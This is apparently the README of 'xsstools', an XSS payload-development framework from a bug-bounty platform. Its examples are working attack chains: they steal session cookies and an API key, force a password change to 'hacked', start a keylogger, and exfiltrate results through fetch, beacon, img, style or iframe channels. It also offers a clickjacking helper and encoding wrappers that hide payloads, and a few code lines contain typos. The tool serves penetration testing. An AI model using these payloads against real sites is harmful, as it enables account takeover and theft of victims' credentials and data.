xsstools

xsstools is an xss development frameworks, with the goal of making payload writing easier.

<script type="module">
import {Exfiltrators, Payload, Wrapper, utils} from "./xsstools.min.js"

const exfiltrator = Exfiltrators.message()
const payload = Payload.new()
    .addExfiltrator(exfiltrator)
    .eval(() => document.cookie)
    .exfiltrate()
    .fetchDOM("/user/me")
    .querySelector("input[name='apikey']", 'value')
    .exfiltrate()
    .postUrlEncoded("/user/changePassword", {"password": "hacked"})


const wrapper = Wrapper.new()
    .evalB64()
    .svgLoad()
    .iframe()


const exploit = wrapper.wrap(payload)

const target = "http://vulnerable.domain", {"vulnerableParam": exploit}

window.open(target)
</script>

Exfiltrators

A collection of exfiltrators is available

message: use postMessage
get: use fetch GET
post: use fetch POST urlencoded
postJSON: use fetch POST json encoded
sendBeacon: use navigator.sendBeacon
console: for debugging, simply use console.log
img: create an img tag to exfiltrate via GET
style: create a style tag to exfiltrate via GET
iframe: create an iframe tag to exfiltrate via GET

https://yeswehack.github.io/xsstools/Exfiltrators.html

Payload

Use the payload generator to quickly create powerfull payloads

const Payload.new()
    .addExfiltrator(exfiltrator)
    .startKeyLogger()
    .fetchJSON("/api/user/me")
    .eval(r => r.email)
    .exfiltrate()

https://yeswehack.github.io/xsstools/Payload.html

Wrapper

Wrap your payload using one of the many available wrappers without worrying about encoding.

const wapper = Wrapper.new()
    .minify()
    .templateString()
    .imgLoad()
    .innerHTML()
    .script()
    .iframe()


const payload = wrapper.wrap("alert(1)")
consoloe.log(payload)

https://yeswehack.github.io/xsstools/Wrapper.html

ClickJacker

Writing clickjacking code can be tedious, with xss tools you only need to supply the position of the targeted element.

const cj = new ClickJacker(url)

cj.addStep({x: 42, y: 34, width: 64, height: 35})

await cj.run()

https://yeswehack.github.io/xsstools/ClickJacker.html

You can find the bounding box interactively using this code

(()=>{function e(e){e.classList.remove(o),l?e.onclick=l:c.removeEventListener("click",n)}function t({clientX:t,clientY:i}){const d=document.elementFromPoint(t,i);d!=c&&(d.classList.add(o),c&&e(c),d.onclick?(l=d.onclick,d.onclick=n):(l=null,d.addEventListener("click",n,{once:!0})),c=d)}function n(n){n.preventDefault(),n.stopPropagation();let{x:o,y:i,height:c,width:l}=n.target.getBoundingClientRect();[o,i,c,l]=[o,i,c,l].map(e=>+e.toFixed(2)),window.prompt("Bounding box",JSON.stringify({x:o,y:i,height:c,width:l})),e(n.target),window.removeEventListener("mousemove",t)}const o="xxx-selected",i=document.createElement("style");i.innerText=`.${o} {box-shadow: 0 0 0 1px red inset, 0 0 0 1px red;}`;let c=null,l=null;window.addEventListener("mousemove",t),document.body.appendChild(i)})();

Documentation

You can read the documentation here: https://yeswehack.github.io/xsstools

Or generate it locally using yarn docs

Example

A more complete example with a simple template page is available in /example

Tests

If you want to know which payload is compatible with your targeted browser you can run the test suite in /test.

yeswehack/xsstools